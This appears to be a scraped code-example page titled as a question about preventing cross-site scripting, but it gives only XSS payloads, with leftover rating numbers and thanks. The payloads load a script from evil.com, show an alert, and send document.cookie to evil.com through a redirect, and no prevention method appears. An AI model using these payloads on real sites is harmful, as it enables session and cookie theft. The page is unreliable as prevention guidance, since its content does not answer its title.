how to prevent cross site scripting to redirect you to another web page
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
3.89
9
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
Thank you!
9
0
3.8
10
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Thank you!
10
0
Are there any code examples left?
New code examples in category Html